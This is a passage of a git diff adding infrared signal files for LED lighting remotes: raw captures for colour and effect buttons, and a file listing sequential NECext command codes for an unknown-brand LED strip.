609 1680 577 1685 582 1678 579 40020 9271 2236 603 96524 9275 2263 659 96443 9271 2237 612 96520 9267 2235 604 96511 9299 2268 644 +# +name: Jump +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9285 4512 615 538 606 546 608 544 610 541 603 548 606 545 609 543 611 1652 605 1658 609 1682 585 1681 586 1678 589 1676 581 1685 582 1682 585 540 614 541 613 539 605 1658 609 545 609 544 610 545 609 543 611 543 611 1651 606 1657 610 544 610 1654 613 1653 614 1650 607 1684 583 1681 586 40006 9263 2238 611 96508 9248 2238 611 96507 9248 2235 604 96517 9248 2234 605 96507 9299 2235 615 +# +name: Strobe +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9275 4515 613 539 605 546 608 542 612 538 606 545 609 541 603 548 606 1654 613 1649 608 1653 604 1657 610 1652 605 1657 610 1652 605 1658 609 542 612 539 605 1656 611 1651 606 544 610 540 604 546 608 542 602 547 607 1653 604 546 608 542 612 1648 609 1679 578 1656 611 1650 607 1681 576 40024 9249 2231 608 96520 9255 2240 610 96498 9368 2234 616 +# +name: Fade +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9532 4516 621 544 620 543 621 542 622 541 623 540 614 549 615 550 614 1689 599 1650 627 1649 618 1658 619 1655 622 1652 615 1659 618 1656 621 542 622 1652 615 550 625 1679 598 540 624 541 613 550 614 549 615 547 617 543 611 1660 617 543 611 1660 617 1681 586 1686 591 1680 587 1685 592 40013 9430 2237 612 96528 9356 2241 619 96538 9335 2241 608 +# +name: Sound +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9360 4508 609 546 608 546 608 545 609 544 610 544 610 543 611 542 612 1650 607 1658 609 1655 612 1652 615 1649 608 1657 610 1654 613 1650 607 547 607 545 609 542 612 540 604 1658 609 544 610 542 612 539 605 547 607 1681 586 1650 607 1657 610 542 612 1650 607 1656 611 1652 667 1596 609 40023 9300 2237 612 96503 9455 2232 618 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9362 4515 612 541 613 540 614 538 606 547 607 545 609 544 610 542 612 1652 615 1648 609 1682 585 1679 577 1685 582 1682 585 1679 588 1676 580 544 610 542 612 1651 606 547 607 1655 612 541 613 539 615 538 616 540 614 1651 616 538 606 1659 608 546 608 1656 611 1654 613 1651 606 1659 608 40015 9283 2235 604 96515 9276 2238 611 96503 9299 2232 607 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9417 4514 613 545 609 548 616 541 613 543 611 546 608 548 616 541 613 1657 620 1677 590 1651 616 1653 614 1654 613 1655 612 1655 612 1655 612 544 610 1656 611 1684 583 545 609 1657 610 1684 583 546 608 548 616 540 614 546 608 547 607 1659 618 539 615 542 612 1655 612 1683 584 1657 610 40015 9385 2240 620 96496 9356 2233 616 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9421 4508 619 541 613 545 609 547 607 549 615 539 615 540 614 540 614 1652 615 1654 613 1681 586 1681 586 1680 587 1678 589 1677 579 1685 582 545 609 1654 613 1677 580 1682 585 1678 579 1656 611 539 605 546 608 542 602 548 606 543 611 538 606 544 610 540 604 1656 611 1650 607 1682 585 40013 9274 2239 610 96511 9281 2234 605 +# +name: Rose +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9290 4515 612 539 605 545 609 540 603 546 608 541 602 547 607 542 612 1650 606 1655 612 1650 606 1654 602 1659 608 1653 603 1658 609 1653 603 546 608 542 612 537 607 1655 612 1649 607 542 612 537 607 542 612 538 606 1655 612 1650 606 543 611 538 606 1656 611 1650 606 1654 613 1649 608 40004 9293 2232 607 96519 9272 2242 607 +# +name: Amber +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9391 4516 611 545 609 547 617 537 617 538 616 538 616 538 616 538 616 1650 617 1650 617 1650 617 1649 618 1650 617 1650 617 1651 616 1652 615 541 613 1654 613 543 611 1657 610 1658 620 538 616 541 613 544 621 537 617 540 614 1656 621 537 617 569 585 1657 621 1650 617 1652 615 1655 612 40012 9300 2234 615 96484 9339 2229 610 +# +name: Cyan +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9413 4515 612 545 619 540 614 542 612 543 611 542 664 490 612 542 612 1654 613 1654 613 1653 614 1659 618 1651 616 1652 615 1652 615 1652 615 542 612 540 614 1650 606 1659 608 1657 610 542 612 541 613 539 605 548 606 1658 609 544 610 544 610 548 616 1657 610 1657 610 1659 608 1660 617 40010 9280 2233 606 96504 9277 2234 605 96504 9347 2234 615 +# +name: White +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9419 4510 617 544 620 539 615 545 619 540 614 546 618 539 615 541 613 1654 613 1653 613 1652 615 1650 606 1657 610 1654 613 1650 606 1659 608 546 608 547 617 538 616 541 613 544 610 547 617 538 616 541 613 544 610 1659 618 1650 617 1650 617 1649 607 1658 609 1656 611 1656 611 1655 612 39870 9281 2236 613 96484 9266 2234 605 96493 9287 2236 613 96178 9362 2238 611 +# +name: Faster +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9408 4511 616 544 620 544 620 542 622 543 621 549 626 545 630 543 632 1650 627 1654 613 1654 613 1652 615 1651 616 1649 618 1648 608 1658 619 539 615 1653 614 1658 619 1650 617 1652 615 542 612 545 609 548 616 540 614 545 619 541 613 546 618 540 614 1655 612 1657 620 1651 616 1658 619 39990 9254 2232 607 96487 9323 2235 614 +# +name: Slower +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9487 4509 618 548 616 539 615 542 612 547 617 541 613 548 616 546 608 1660 617 1658 619 1659 618 1658 619 1657 610 1659 618 1654 623 1651 616 540 614 1656 621 544 610 547 617 1653 624 1651 616 546 618 539 646 513 620 545 619 1653 614 1661 616 545 619 544 620 1653 614 1658 619 1655 612 39967 9423 2237 612 96441 9454 2233 616 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir new file mode 100644 index 000000000..fe3e1a31a --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/LEDStrip.ir @@ -0,0 +1,1538 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 00 FF 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 FE 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 02 FD 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 03 FC 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 04 FB 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 05 FA 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 06 F9 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 07 F8 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 08 F7 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 09 F6 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0A F5 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0B F4 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0C F3 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0D F2 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0E F1 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0F F0 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 10 EF 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 11 EE 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 12 ED 00 00 +# +name: 20 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 13 EC 00 00 +# +name: 21 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 14 EB 00 00 +# +name: 22 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 15 EA 00 00 +# +name: 23 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 16 E9 00 00 +# +name: 24 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 17 E8 00 00 +# +name: 25 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 18 E7 00 00 +# +name: 26 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 19 E6 00 00 +# +name: 27 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1A E5 00 00 +# +name: 28 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1B E4 00 00 +# +name: 29 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1C E3 00 00 +# +name: 30 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1D E2 00 00 +# +name: 31 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1E E1 00 00 +# +name: 32 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 1F E0 00 00 +# +name: 33 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 20 DF 00 00 +# +name: 34 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 21 DE 00 00 +# +name: 35 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 22 DD 00 00 +# +name: 36 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 23 DC 00 00 +# +name: 37 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 24 DB 00 00 +# +name: 38 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 25 DA 00 00 +# +name: 39 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 26 D9 00 00 +# +name: 40 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 27 D8 00 00 +# +name: 41 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 28 D7 00 00 +# +name: 42 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 29 D6 00 00 +# +name: 43 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2A D5 00 00 +# +name: 44 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2B D4 00 00 +# +name: 45 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2C D3 00 00 +# +name: 46 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2D D2 00 00 +# +name: 47 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2E D1 00 00 +# +name: 48 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 2F D0 00 00 +# +name: 49 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 30 CF 00 00 +# +name: 50 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 31 CE 00 00 +# +name: 51 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 32 CD 00 00 +# +name: 52 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 33 CC 00 00 +# +name: 53 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 34 CB 00 00 +# +name: 54 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 35 CA 00 00 +# +name: 55 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 36 C9 00 00 +# +name: 56 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 37 C8 00 00 +# +name: 57 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 38 C7 00 00 +# +name: 58 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 39 C6 00 00 +# +name: 59 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3A C5 00 00 +# +name: 60 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3B C4 00 00 +# +name: 61 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3C C3 00 00 +# +name: 62 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3D C2 00 00 +# +name: 63 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3E C1 00 00 +# +name: 64 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 3F C0 00 00 +# +name: 65 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 40 BF 00 00 +# +name: 66 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 41 BE 00 00 +# +name: 67 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 42 BD 00 00 +# +name: 68 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 43 BC 00 00 +# +name: 69 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 44 BB 00 00 +# +name: 70 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 45 BA 00 00 +# +name: 71 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 46 B9 00 00 +# +name: 72 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 47 B8 00 00 +# +name: 73 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 48 B7 00 00 +# +name: 74 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 49 B6 00 00 +# +name: 75 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4A B5 00 00 +# +name: 76 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4B B4 00 00 +# +name: 77 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4C B3 00 00 +# +name: 78 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4D B2 00 00 +# +name: 79 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4E B1 00 00 +# +name: 80 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 4F B0 00 00 +# +name: 81 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 50 AF 00 00 +# +name: 82 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 51 AE 00 00 +# +name: 83 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 52 AD 00 00 +# +name: 84 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 53 AC 00 00 +# +name: 85 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 54 AB 00 00 +# +name: 86 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 55 AA 00 00 +# +name: 87 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 56 A9 00 00 +# +name: 88 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 57 A8 00 00 +# +name: 89 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 58 A7 00 00 +# +name: 90 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 59 A6 00 00 +# +name: 91 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5A A5 00 00 +# +name: 92 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5B A4 00 00 +# +name: 93 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5C A3 00 00 +# +name: 94 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5D A2 00 00 +# +name: 95 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5E A1 00 00 +# +name: 96 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 5F A0 00 00 +# +name: 97 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 60 9F 00 00 +# +name: 98 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 61 9E 00 00 +# +name: 99 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 62 9D 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 63 9C 00 00 +# +name: 101 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 64 9B 00 00 +# +name: 102 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 65 9A 00 00 +# +name: 103 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 66 99 00 00 +# +name: 104 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 67 98 00 00 +# +name: 105 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 68 97 00 00 +# +name: 106 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 69 96 00 00 +# +name: 107 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6A 95 00 00 +# +name: 108 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6B 94 00 00 +# +name: 109 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6C 93 00 00 +# +name: 110 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6D 92 00 00 +# +name: 111 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6E 91 00 00 +# +name: 112 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 6F 90 00 00 +# +name: 113 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 70 8F 00 00 +# +name: 114 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 71 8E 00 00 +# +name: 115 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 72 8D 00 00 +# +name: 116 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 73 8C 00 00 +# +name: 117 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 74 8B 00 00 +# +name: 118 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 75 8A 00 00 +# +name: 119 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 76 89 00 00 +# +name: 120 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 77 88 00 00 +# +name: 121 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 78 87 00 00 +# +name: 122 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 79 86 00 00 +# +name: 123 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7A 85 00 00 +# +name: 124 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7B 84 00 00 +# +name: 125 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7C 83 00 00 +# +name: 126 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7D 82 00 00 +# +name: 127 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7E 81 00 00 +# +name: 128 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 7F 80 00 00 +# +name: 129 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 80 7F 00 00 +# +name: 130 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 81 7E 00 00 +# +name: 131 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 82 7D 00 00 +# +name: 132 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 83 7C 00 00 +# +name: 133 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 84 7B 00 00 +# +name: 134 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 85 7A 00 00 +# +name: 135 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 86 79 00 00 +# +name: 136 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 87 78 00 00 +# +name: 137 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 88 77 00 00 +# +name: 138 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 89 76 00 00 +# +name: 139 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8A 75 00 00 +# +name: 140 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8B 74 00 00 +# +name: 141 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8C 73 00 00 +# +name: 142 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8D 72 00 00 +# +name: 143 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8E 71 00 00 +# +name: 144 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 8F 70 00 00 +# +name: 145 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 90 6F 00 00 +# +name: 146 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 91 6E 00 00 +# +name: 147 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 92 6D 00 00 +# +name: 148 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 93 6C 00 00 +# +name: 149 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 94 6B 00 00 +# +name: 150 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 95 6A 00 00 +# +name: 151 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 96 69 00 00 +# +name: 152 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 97 68 00 00 +# +name: 153 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 98 67 00 00 +# +name: 154 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 99 66 00 00 +# +name: 155 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9A 65 00 00 +# +name: 156 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9B 64 00 00 +# +name: 157 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9C 63 00 00 +# +name: 158 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9D 62 00 00 +# +name: 159 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9E 61 00 00 +# +name: 160 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 9F 60 00 00 +# +name: 161 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A0 5F 00 00 +# +name: 162 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A1 5E 00 00 +# +name: 163 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A2 5D 00 00 +# +name: 164 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A3 5C 00 00 +# +name: 165 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A4 5B 00 00 +# +name: 166 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A5 5A 00 00 +# +name: 167 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A6 59 00 00 +# +name: 168 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A7 58 00 00 +# +name: 169 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A8 57 00 00 +# +name: 170 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A9 56 00 00 +# +name: 171 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AA 55 00 00 +# +name: 172 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AB 54 00 00 +# +name: 173 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AC 53 00 00 +# +name: 174 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AD 52 00 00 +# +name: 175 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AE 51 00 00 +# +name: 176 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: AF 50 00 00 +# +name: 177 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B0 4F 00 00 +# +name: 178 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B1 4E 00 00 +# +name: 179 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B2 4D 00 00 +# +name: 180 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B3 4C 00 00 +# +name: 181 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B4 4B 00 00 +# +name: 182 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B5 4A 00 00 +# +name: 183 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B6 49 00 00 +# +name: 184 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B7 48 00 00 +# +name: 185 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B8 47 00 00 +# +name: 186 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B9 46 00 00 +# +name: 187 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BA 45 00 00 +# +name: 188 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BB 44 00 00 +# +name: 189 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BC 43 00 00 +# +name: 190 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BD 42 00 00 +# +name: 191 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BE 41 00 00 +# +name: 192 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: BF 40 00 00 +# +name: 193 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C0 3F 00 00 +# +name: 194 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C1 3E 00 00 +# +name: 195 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C2 3D 00 00 +# +name: 196 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C3 3C 00 00 +# +name: 197 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C4 3B 00 00 +# +name: 198 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C5 3A 00 00 +# +name: 199 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C6 39 00 00 +# +name: 200 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C7 38 00 00 +# +name: 201 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C8 37 00 00 +# +name: 202 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C9 36 00 00 +# +name: 203 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CA 35 00 00 +# +name: 204 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CB 34 00 00 +# +name: 205 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CC 33 00 00 +# +name: 206 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CD 32 00 00 +# +name: 207 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CE 31 00 00 +# +name: 208 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: CF 30 00 00 +# +name: 209 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D0 2F 00 00 +# +name: 210 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D1 2E 00 00 +# +name: 211 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D2 2D 00 00 +# +name: 212 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D3 2C 00 00 +# +name: 213 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D4 2B 00 00 +# +name: 214 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D5 2A 00 00 +# +name: 215 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D6 29 00 00 +# +name: 216 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D7 28 00 00 +# +name: 217 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D8 27 00 00 +# +name: 218 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D9 26 00 00 +# +name: 219 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DA 25 00 00 +# +name: 220 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DB 24 00 00 +# +name: 221 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DC 23 00 00 +# +name: 222 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DD 22 00 00 +# +name: 223 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DE 21 00 00 +# +name: 224 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: DF 20 00 00 +# +name: 225 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E0 1F 00 00 +# +name: 226 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E1 1E 00 00 +# +name: 227 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E2 1D 00 00 +# +name: 228 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E3 1C 00 00 +# +name: 229 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E4 1B 00 00 +# +name: 230 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E5 1A 00 00 +# +name: 231 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E6 19 00 00 +# +name: 232 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E7 18 00 00 +# +name: 233 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E8 17 00 00 +# +name: 234 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E9 16 00 00 +# +name: 235 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: EA 15 00 00 +# +name: 236 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: EB 14 00 00 +# +name: 237 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: EC 13 00 00 +# +name: 238 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: ED 12 00 00 +# +name: 239 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: EE 11 00 00 +# +name: 240 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: EF 10 00 00 +# +name: 241 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F0 0F 00 00 +# +name: 242 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F1 0E 00 00 +# +name: 243 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F2 0D 00 00 +# +name: 244 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F3 0C 00 00 +# +name: 245 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F4 0B 00 00 +# +name: 246 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F5 0A 00 00 +# +name: 247 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F6 09 00 00 +# +name: 248 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F7 08 00 00 +# +name: 249 +type: parsed +protocol: NECext +address: 00 EF 00 